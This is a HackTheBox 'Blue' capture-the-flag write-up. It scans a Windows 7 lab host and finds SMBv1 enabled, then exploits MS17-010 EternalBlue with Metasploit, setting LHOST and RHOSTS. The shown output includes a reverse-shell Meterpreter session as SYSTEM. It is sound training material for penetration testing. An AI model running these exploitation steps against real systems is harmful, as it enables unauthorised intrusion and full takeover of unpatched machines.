HackTheBox - Blue

Updated 22-07-2026
#htb #hackthebox #ctf #writeup #windows #eternalblue #ms17-010 #smb #metasploit

Blue is a classic beginner-friendly Windows machine that lives up to its name. Recon quickly surfaces a well-known SMB weakness, and a public exploit does the rest — landing a shell with no privilege escalation step required.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$ ip=10.129.23.19; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-20 03:02 -0400
Nmap scan report for 10.129.23.19
Host is up (0.19s latency).

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-06-20T08:03:22+01:00
| smb2-time: 
|   date: 2026-06-20T07:03:21
|_  start_date: 2026-06-20T06:59:46
|_clock-skew: mean: -19m57s, deviation: 34m36s, median: 0s
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.47 seconds

The scan reveals a Windows 7 SP1 host (HARIS-PC) with SMB exposed on 445/tcp. Notable findings:

  • SMB message signing is disabled
  • The OS is Windows 7 Professional SP1 — a version with a well-known unpatched SMB vulnerability in many default deployments

Foothold

SMB Enumeration

CrackMapExec confirms that SMBv1 is enabled and signing is disabled:

1
2
$ crackmapexec smb 10.129.23.19          
SMB         10.129.23.19    445    HARIS-PC         [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HARIS-PC) (domain:haris-PC) (signing:False) (SMBv1:True)

SMBv1 enabled on Windows 7 SP1 with signing disabled is a strong indicator of vulnerability to EternalBlue (MS17-010).

MS17-010 EternalBlue via Metasploit

Launch Metasploit and select the EternalBlue module:

1
2
3
$ msfconsole
msf > search eternalblue
msf > use exploit/windows/smb/ms17_010_eternalblue

Configure the required options:

1
2
3
msf exploit(windows/smb/ms17_010_eternalblue) > show options
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST tun0
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.129.23.19

Run the exploit:

1
2
3
4
5
6
7
8
9
10
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.16.54:4444 
[*] 10.129.23.19:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
...SNIPPED...
[*] Meterpreter session 1 opened (10.10.16.54:4444 -> 10.129.23.19:49158) at 2026-06-20 03:16:19 -0400
[+] 10.129.23.19:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.23.19:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.23.19:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

The exploit lands a Meterpreter session running as SYSTEM — Both the user flag (from haris‘s Desktop) and the root flag (from Administrator‘s Desktop) are directly accessible.